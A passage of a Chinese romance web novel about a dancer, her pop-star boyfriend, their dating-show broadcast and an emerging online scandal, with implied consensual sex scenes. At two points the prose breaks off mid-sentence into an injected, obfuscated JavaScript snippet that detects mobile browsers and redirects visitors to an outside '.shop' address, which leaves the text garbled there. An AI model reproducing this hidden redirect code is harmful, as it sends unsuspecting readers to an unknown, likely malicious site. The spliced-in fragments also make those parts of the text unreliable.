豪哥带着时缈,帮她把指纹录进入户门的智能门锁里:“原本许钧闻那小子非要来的,但那边拍摄还没结束,实在走不开,你别在意哈。” 豪哥的工作效率很高,从定下时缈要搬到许钧闻楼下那天,到他打电话通知时缈随时都能搬家,只用了短短三天。 这三天里,他不仅将时缈要住的这个大平层差人里里外外打扫了一遍,还提前准备了不少生活用品,甚至考虑到时缈每天出门前要化妆,专门添置了一个超级大的化妆台,桌面上摞着好几套还未拆封的护肤品套盒:“这些护肤品是按许钧闻的单子买的,如果你有什么要添的,直接跟他说或者跟我说都成。” “每周保洁阿姨上门打扫两次卫生,是咱们工作室的自己人,你可以放心。你呢,就踏踏实实在这儿住着,千万别拘谨啊,反正他的房子就是你的房子,千万别和他客气。” 豪哥三言两语把想到的事情全部交代完,称自己还有点其他事,和时缈道过别后,便急急忙忙走了。 偌大的房间,只剩下时缈一个人,忽然显得安静又空荡。 许钧闻这套一梯一户的大平层可比她那小公寓大得多得多了。 刚才豪哥带她去看衣帽间,时缈大体扫视了一圈,感觉这衣帽间的面积都快赶上她那小公寓的一半了。 可真是难为许钧闻一个住了好几年大平层的人,前阵子天天和她挤在那间小单身公寓里了。 「许钧闻:到家了?」 时缈正收拾着,许钧闻的消息便来了。 她猜,大概是豪哥将她安顿好之后就跟许钧闻通过气了。 盯着许钧闻发来的那个“家”字,时缈不自觉地勾起了唇角。 「时缈:嗯,刚到。」 「许钧闻:看看还缺什么,我给你买回去。」 「时缈:不必了,东西备得很齐全了。」 顿了顿,想起化妆台上的那些护肤品盒子,时缈问道: 「时缈:你怎么知道我平时用的是什么牌子的护肤品?」 「许钧闻:你男朋友又不是什么傻子,东西就摆在洗手台上,每天都看见,还能记不住?」 这句的后面,许钧闻还配上了一个得意洋洋的小狗表情包。 时缈几乎能想象到他敲下这句话时,带点小骄傲的表情。 「许钧闻:我这边还要忙一会儿,你先休息,或者去楼上找圆圆玩儿也行,楼上的密码是你的生日。」 「许钧闻:晚点见。」 前两天许钧闻搬回自己家住的时候,也顺便把小猫带了回来。 两三天没见到圆圆,时缈也有点想小家伙了,将行李箱中的衣服拿出来分别整理好之后,便去到了楼上。 “喵呜~” 听见大门开关的声音,小猫从沙发和墙壁的缝隙处探了个头,在看见时缈的身影后,倒腾着小短腿朝她跑了过来。 “小宝贝,想我没有呀?” 时缈抱起小猫,坐在沙发上,打量起许钧闻所住的这套房子。 这间房子和楼下那间的户型一模一样,但装修风格完全不同—— 时缈入住的房子,家居陈设基本都选择的是温馨明媚的暖色调,墙上挂着可爱的卡通画,沙发上摆着一排柔软蓬松的抱枕,阳台能晒到太阳的角落放着两个懒人沙发,中间还有一个方形的小几,整个房子充满着烟火气息。 而许钧闻这一套,整体装修走的是黑白灰的极简风,客厅墙面上悬挂着几个置物架,上面摆了些黑胶唱片,正对着餐厅的是一个嵌入墙壁的壁柜,里面放着许钧闻收藏的一些红酒。最具有生活气息的,大概就是客厅墙边摆着的小猫饮水器和猫砂盆了。 若是换个不知道内情的人来参观,绝对想不到这两套房子的主人竟然是同一个人。 * 许钧闻工作结束后,回到家,看到的就是这样一幅画面—— 一人一猫窝在沙发上,头碰着头睡得香甜。 他出门前随手搭在沙发扶手上的薄毯被时缈摊开盖在身上,但不知是不是她睡着后无意识踢了被子,毯子有一半垂在地板上,另一半也只是堪堪挂在她的腰腹处。 已是盛夏,时缈只穿了一条牛仔短裤,此刻正好被毯子遮住,露出了一双修长纤细的长腿。 许钧闻的目光落在她膝盖处的一块乌青上。 她的皮肤白皙,稍有些磕碰就会留下印子,那块乌青大概率是她在舞团排演剧目的时候磕碰到的。 依他对时缈的了解,她总是懒得给自己上药的。 这次大概也不例外。 许钧闻收回目光,脚步放轻,走到电视柜处蹲下,在抽屉里找到一只浅蓝色的药箱。 虽然他忙起来的时候十天半个月都不回一趟家,开全国巡回演唱会的时候更是每天在不同城市的酒店中醒来,但这个家里不论是日用品还是应急药物全都一应俱全。 定期工作室的后勤小哥就会上门,将那些他还没用过就过期了的用品收拾收拾拿去丢掉,然后再补放一批新的进来。 许钧闻在药箱中一眼就找到了红花油。 他盘腿坐在沙发边的地板上,也没想着打扰“母女俩”的睡眠,将红花油倒在手心,搓热后,掌心按在时缈受伤处,力道轻缓地打圈揉弄。 但奈何时缈睡眠向来偏浅。 许钧闻刚揉了两圈,她就不自在地踢了踢腿,鼻尖溢出一声迷迷糊糊的轻哼。 “别动。” 许钧闻低声哄:“你睡你的。” “别弄了……好困。” 时缈哼哼唧唧:“你也不能天天不让人睡个好觉吧,许钧闻。” 许钧闻的动作一顿。 目光意味深长地落在时缈的睡颜上。 他也没有天天不让她睡觉吧? 许钧闻快速回忆了一下,除了演唱会那天晚上她去找他的那次之外,回江城后,他体贴她工作日还要打卡上班,基本折腾到两三点钟也就差不多消停下来了啊。 “时缈,说话要讲证据,什么叫‘天天’?” 许钧闻按着她腿的那只手大拇指摩挲了一下她滑嫩的皮肤,趁着时缈睡得迷迷糊糊不甚清醒,要笑不笑地套她的话:“怎么,是没给你伺候满意吗?” “满意满意,”时缈哼了声,“今天休息。” “不行。” 许钧闻凑近,亲了亲她的侧脸:“已经让你休息三天了。” 时缈皱了皱眉。 怎么梦里的人话这么多? 而且,现实中的许钧闻不放过她也就算了,怎么都到了她的梦里,这人还是这么不讲道理? “你讲讲道理啊许钧闻。” 圆圆被爸爸妈妈的动静吵醒,小圆脑袋左右转了转,看了看闭着眼睛还没睡醒的时缈,又看了看眼底噙着笑意的许钧闻。 动物的第六感让它察觉到此刻微妙的气氛,小声叫唤了声,寻了个空隙,跳开溜走了。 被小猫尾巴在脸上扫了两下,时缈控制不住地打了个喷嚏。 迷迷瞪瞪地睁开眼睛,映入眼帘地就是许钧闻那张放大的俊脸。 “你回来了?” 时缈打了个哈欠,完全没意识到刚才那一切并不是她的梦境,自然地伸手圈住许钧闻的脖颈:“吃过晚饭没?” “还没。”许钧闻揉了揉她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314233|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后脑勺,笑意更深。 时缈想了想:“你这冰箱里东西还挺多的,想吃点什么,我给你露一手?” 许钧闻圈住她的腰,将她箍在自己的怀里,低头吻上她的耳垂:“现在还不太想吃。” “??” 时缈被耳畔的热气激起一片鸡皮疙瘩,缩了下脖子想躲:“干什么呀这一回来的……” “已经让你休息三天了,差不多也该休息好了。” 许钧闻慢条斯理地将手探进时缈的T恤下摆,她肌肤温热,但他的掌心更热,轻而易举就在她的腰上点起了一把火:“倒是我今天忙了一天了……” “所以,不如今天,你负责动。” …… 时缈头一次为自己这些年练过的舞蹈动作感到羞耻。 要不是顾忌着她的陈年旧腰伤,她敢肯定,许钧闻还有更过分的花样。 “许钧闻,你当个人吧。” 时缈陷在他柔软的大床里,将被子拉到鼻尖,把自己盖得严严实实,她身上没完全擦干的水汽在深灰色的被套上留下一个个不规则的痕迹。 “这种时候还能当个人,那我才真的不是个人。” 许钧闻哼笑一声,掀开被子,在时缈“哎哎”的叫声中,将人搂进怀里,安抚地捏了捏她的肩膀:“好了,睡觉,不是喊累吗?” 时缈张张口,还想说点什么,就被许钧闻那双漂亮的桃花眼盯住:“还不想睡的话就别睡了。” “睡睡睡。” 识时务者为俊杰,时缈果断闭上眼睛。 或许是因为刚刚经历过一场巨大的体能消耗,时缈这一觉睡得比之前在沙发上要沉得多。 再醒来时,时缈看着陌生的天花板,差点没反应过来自己现在身在何处。 之前睡在她身侧的人不见踪影,倒是某只漂亮的小布偶,蜷成一团,在她脑袋旁心安理得地躺着。 时缈翻了个身,大腿根一阵隐隐约约的酸软,让她忍不住再次在心里怒骂许钧闻好几句。 好巧不巧,上一秒还在她心底里接受“批斗”的人,下一刻就出现在房间门口:“睡醒了?” “……嗯。”时缈点点头。 “那就起来吃饭吧,”许钧闻打开衣柜,递给她一件全新的真丝睡裙,“给你做了土豆炖牛腩。” * “好香。” 时缈凑到还冒着热气的饭菜旁边,深深吸了一口气。 “尝尝,”许钧闻加了一块肉,递到时缈的嘴边,看着她问道,“味道怎么样?” 时缈忙不迭地点头:“好吃。” 一边说着,时缈一边又夹起一块肉。 牛肉,高蛋白,多吃几口也不担心长胖,所以她今晚多吃一点也不过分对吧? 许钧闻好整以暇地看着时缈吃得眼睛都快眯起来了,忽然勾唇笑了下:“跟别墅里的比,哪个比较好吃?” “……啊?” 时缈吃东西的动作一顿。 她一头雾水地问:“别墅里的什么?” “入住别墅的第一顿晚餐,桌上不也有一道土豆炖牛腩吗?” 许钧闻要笑不笑地看着她,像是真的要打破沙锅问到底似的:“和那天晚上的那道菜比起来,哪一道比较好吃?” 时缈愣住。 时缈迷茫。 时缈无语。 啊不是,都过去一个多月了,她哪里还记得进入别墅的第一天晚上都吃了些什么啊? 况且,那时候她整个人都沉浸在“参加恋综却遇见了分手六年的前男友,而且前男友竟然是她的恋综观察员”的狗血噩耗中,心思哪还在面前的晚餐上啊! 可是,看许钧闻的表情,时缈猜测如果自己这时候如果不说一个令他满意的答案,许钧闻恐怕不会善罢甘休。 时缈看看自己面前的饭菜,又看了一眼许钧闻,露出了一个粲然的笑:“那肯定是你做的更好吃啦。” 生怕许钧闻还要追问,时缈干脆祭出了自己的大招:“你还记不记得以前上学的时候,我们经常去吃的那家店?我感觉,你这道菜的味道和当年的味道真的很像!” 顿了顿,她又补充:“或许是因为和你、两个人、一起吃的吧,总觉得勾起了不少以前的回忆。” 她还特意把“和你”以及“两个人”这两个词加了重音。 试图以此转移许钧闻的注意力。 果然,如时缈所料,许钧闻的表情果然好转,眼神中也带着些柔软,或许是被她的话勾起了对学生时期校园爱情的怀念。 当年在云京,他们经常光顾的一家家常菜馆是一家中年夫妻开的,妻子负责前厅,丈夫在后厨掌勺,因为他家的菜品物美价廉,因此吸引了附近大学的不少学生光顾,时缈和许钧闻也在此行列。 由于时缈要为了专业控制体重、维持体型,所以他们最常点的一道菜就是土豆炖牛腩——牛肉是高蛋白,土豆又能代替主食,既满足了时缈的口腹之欲,也让她不至于因为吃多了心有负担。 出国后,时缈自己也找了不少网上的视频和食谱,尝试着自己做这道菜。 但吃起来,她总觉得少了点味道。 现在想来,或许是因为当年一起吃饭的人不在身边,她自己的心境也有了变化吧。 “不愧是许老师,”时缈笑笑,给他碗里夹了块肉,“上得厅堂,下得厨房,简直是居家旅行之必备啊。” 看着许钧闻乖乖把她夹过去的肉吃掉,时缈满意地笑笑,随口道:“也不知道当年那家餐馆是不是还开着呢。” 闻言,许钧闻挑眉:“想知道?有机会的话,回去看看不就知道了。” 78. 78首情歌 《适合恋爱的夏天》节目开播首日,所有嘉宾再次在现场直播间齐聚一堂。 之前都是在镜头里看别人直播,忽然自己坐在了直播镜头下,时缈倒还有些不大习惯,只好用得体的笑容掩盖自己此刻的小紧张。 「来了来了,姐姐好美!」 「看这个背景,大家是都在自己家里吗?」 「Vocal?如果都是在家里的话,我嗑的cp这房间背景未免也太相似了!难不成是he之后同居了?!?!」 为了吸引观众们收看录播版的节目,连节目中的观察团成员们都没能得知素人嘉宾们最终的选择,更不用说直播间的观众们了。 直播关闭后,节目组的官博就发布了一条投票互动,截至节目录播版最后一期播出之前,网友们都可以在官博发布的投票中预测素人嘉宾们的情感走向,待最后一期结果揭晓后,官博将会在预测全部正确的网友当中展开抽奖。 这一套组合拳打下来,可以说是将观众们期待值拉到了最高。 因此,首播陪看的直播间刚一开启,就有数以万计的观众们涌入了直播间,趁节目开播之前这短暂的空闲时间,和嘉宾们互动起来。 人们对其他人的生活细节或许总是带着一些天然的好奇,尤其是看见林问和罗艺亭直播画面中略显相似的房间背景时,网友们的尖叫和疑问几乎要从弹幕中溢出来了。 素人之中唯二吃网络这口饭的两人面对这种场面显然比其他人更游刃有余,画面中罗艺亭掩着唇笑得俏皮:“这可不能现在就告诉你们哦,提前剧透的话我们是要付违约金的啦。” 即便如此,她还不忘为自己的带货直播间打个小广告:“当然,如果大家有空的时候能多去我的直播间看看我,或许我就有了剧透的底气呢。” “友情提示广大网友,网络购物要擦亮眼睛,千万别被人骗了。” 一直没什么表情的许钧闻忽然开口。 一句意味不明的“友情提示”差点让罗艺亭维持不住面上的笑容。 “所以还是要在自己熟悉的、信得过的主播去买东西,你们说是不是?” 许钧闻像是真的没意识到自己刚才那句话所会引发的歧义,面色如常慢条斯理地继续和直播间的网友们互动。 “对对对,许老师说得很对。” 官方主持人赶忙出来打圆场:“咱们《适合恋爱的夏天》第一季马上就要上线了,在录制期间各位嘉宾有没有什么特别难忘的时刻可以和大家分享一下的?” “许老师,要不从你先来?” 毕竟他是在场话题度最高、流量最大的一个,主持人自然而然地率先cue到了他。 “特别难忘的?” 许钧闻若有所思,沉吟了一瞬,回答道:“应该是在谷峪勒的时候吧,遇到了地震的那天晚上。” “的确,这还是我长这么大第一次遇见地震呢。”青葭出声附和。 其余嘉宾也纷纷点头。 “的确,这对于咱们很多嘉宾来说都是很惊险、很难忘的体验了呢。” 主持人点点头,又问了几位嘉宾后,将话题递到了时缈这里:“那时缈呢?有什么难忘的时刻吗?” “也是在谷峪勒。” 时缈脑海中第一个蹦出的画面,就是在谷峪勒的照相馆。 她温声道:“取回了大学时期的照片,很珍贵的东西在那里失而复得了。” 那张纪念她过去真挚而热烈的感情的照片,那场突如其来的大地震。 让她无比清晰地认清了自己的内心。 纵使过去了六年,时缈还是爱着许钧闻。 在每一个曾以为不会再见的夜晚,虽然她不曾向神佛许愿,可命运终于还是听见了她的执念,将她的爱人送回了她的身边。 命运已经厚待她至此,就算往后诸多风雨,她也没有什么好惧怕的了。 * “嗡嗡,嗡嗡……” 一大清早,时缈的闹钟还没响,不知道是谁的电话就已经不依不饶地打进来了。 她闭着眼睛伸手去摸手机,却被身边的人先一步将手机拿走。 “不用管它,再睡一会儿。” 许钧闻揉了揉她的后脑勺:“要不今天给你请个假在家里休息?” “不行。” 时缈皱眉。 既没有生病,也没有其他急事非要今天处理不可,她好端端的请假干什么? “昨天晚上睡得那么晚,就不能今天偷会懒?”许钧闻轻声问。 时缈微微睁开眼:“睡得晚怪谁?” 如果说之前时缈并不知道许钧闻为什么会对别墅第一天晚餐桌上拿到土豆炖牛腩耿耿于怀,那么昨天看完第一期节目之后,她终于得到了答案—— 可她是真的不知道那道菜是白景川做的啊?! 她只是爱吃牛肉罢了! 偏偏后采的时候,节目组还问到了她对入住第一晚的晚餐评价如何。 但当时她绝大部分心思还沉浸在她发给男嘉宾的信息是不是已经被许钧闻看到了的事情上,加上整个晚餐过程中许钧闻的存在感实在太强,导致她整顿饭可以说是味同嚼蜡,根本不知道自己吃了些什么,唯一有些印象的,就是那道土豆炖牛腩。 于是她随口夸了句那道菜做得不错,牛腩软烂入味、土豆口感绵密。 谁知道这句竟然也被节目组剪了出来。 于是节目播完,嘉宾们结束直播之后,不出十分钟,“滴”的一声,大门密码解锁,许钧闻的身影出现在她视野范围内。 又是一番深入且坦诚的交流。 总算勉强把某些吃醋的家伙哄好了。 “好好好,怪我。” 许钧闻亲亲她的眉心,轻声安抚。 时缈侧身,迷蒙的视线逐渐清明。 被许钧闻搁在另一侧床头柜上的手机又震动起来,在清晨静谧的房间中显得尤为清晰。 她和许钧闻对视几秒,而后缓缓拧眉—— 虽然许钧闻掩饰得很好,但奈何时缈实在是太了解他了,自然不会错过他眼底的疲惫。 “是不是昨天夜里发生了什么?” 虽然通过录制综艺,有不少网友认识了她,但她一不转行当网红,二不靠互联网吃饭,因此网友们投放在她身上的关注并没有罗艺亭和林问那样高,自然也不会有营销号和狗仔特地尾随跟拍她。 而且这几天,她和许钧闻的作息完全不一致,所以应该也不存在拍到他们同框出现的可能性。 那就只有可能是昨天节目结束后,发生了一些她不知道的事情。 而且,看样子,许钧闻应该比她更早就收到消息了。 或许在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328648|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她累极入睡的深夜里,许钧闻已经在处理某些事情了。 被她这样注视着,许钧闻却忽然笑了。 “就知道,什么都瞒不过你。” 许钧闻将她的手机递给她。 屏幕上疯狂闪动着的是她好闺蜜顾梦瑶的名字。 而状态消息栏上赫然挂着一行字:5个未接来电。 时缈开着免提,一边接通顾梦瑶的电话,一边去查看其他未接来电。 两个来自舞团。 两个来自顾梦瑶。 还有一个就在刚刚,是她的妈妈打来的。 “干什么呢?怎么才接电话!” 好朋友的声音火急火燎地回荡在两人之间:“给你打了八百个电话了!” 时缈回答:“刚醒。发生什么事了?” 顾梦瑶虽然大大咧咧的,偶尔也会有点咋咋呼呼的样子,但她不是一个会小题大做的人。 能让她变得如此交集中带着严肃的,显然不是什么好事。 “你还不知道发生什么了?”顾梦瑶差点一口气没倒上来。 她通宵加班后刷到消息,急得早餐都吃不下了,恨不得直接瞬移到时缈身边,谁能想到时缈这位当事人居然还在美美睡觉呢? “好好好,看来许钧闻那家伙还真是把你保护得很好啊。” 顾梦瑶叹了口气:“网上都要炸锅了,你对象律师函都发了三封了,你居然才刚睡醒。这算什么,皇帝不急太监急吗?” 什么炸锅了? 什么律师函? 时缈心头浮现出一种不太妙的感觉。 她看向许钧闻。 想来一副桀骜不驯、仿佛对一切都游刃有余的样子的人,难得露出如此凝重的表情。 透过许钧闻的眼神,时缈大抵也猜到了几分—— 恐怕是之前他们说过的,来自许钧闻前经纪人孟巍的报复真的来了。 得知时缈现在和许钧闻住上下楼,顾梦瑶放心了很多:“那就好,我还在想不行的话我申请居家办公然后去你家陪你呢,现在看来我倒是想多了。” 心头一块石头放下来,顾梦瑶也有心思开玩笑了:“我总是还没反应过来,现在可有人比我更适合当你的护花使者咯。既然你这边暂时没什么事我就放心了,那我就回去补觉了,有需要我的地方随时给我打电话啊。” 时缈“嗯”了声:“谢谢你啊,瑶瑶。” “客气什么,”顾梦瑶打了个哈欠,同她道别,“那行,那就不说了,我回去休息了啊,晚安晚安。” 时缈看了一眼窗外泛起晨光的天色,轻声道:“好好休息,早安。” 挂断电话,时缈握着手机,看向许钧闻。 她现在打开微博,应该就能知道到底发生了什么。 虽然早就做好了心理准备,但时缈毕竟不是公众人物,她第一次面对这样的情况,难免还是有些紧张。 许钧闻握住她的手,安抚她,声音虽轻,但很坚定: “别担心,有我呢。” 不管发生什么事情,他都会坚定地站在她的身前。 时缈点点头,微微吐了口气,打开微博。 热搜前两条,后面都挂着一个红到发黑的“爆”字—— #时缈多次深夜前往许钧闻的房间# #时缈许钧闻谷峪勒#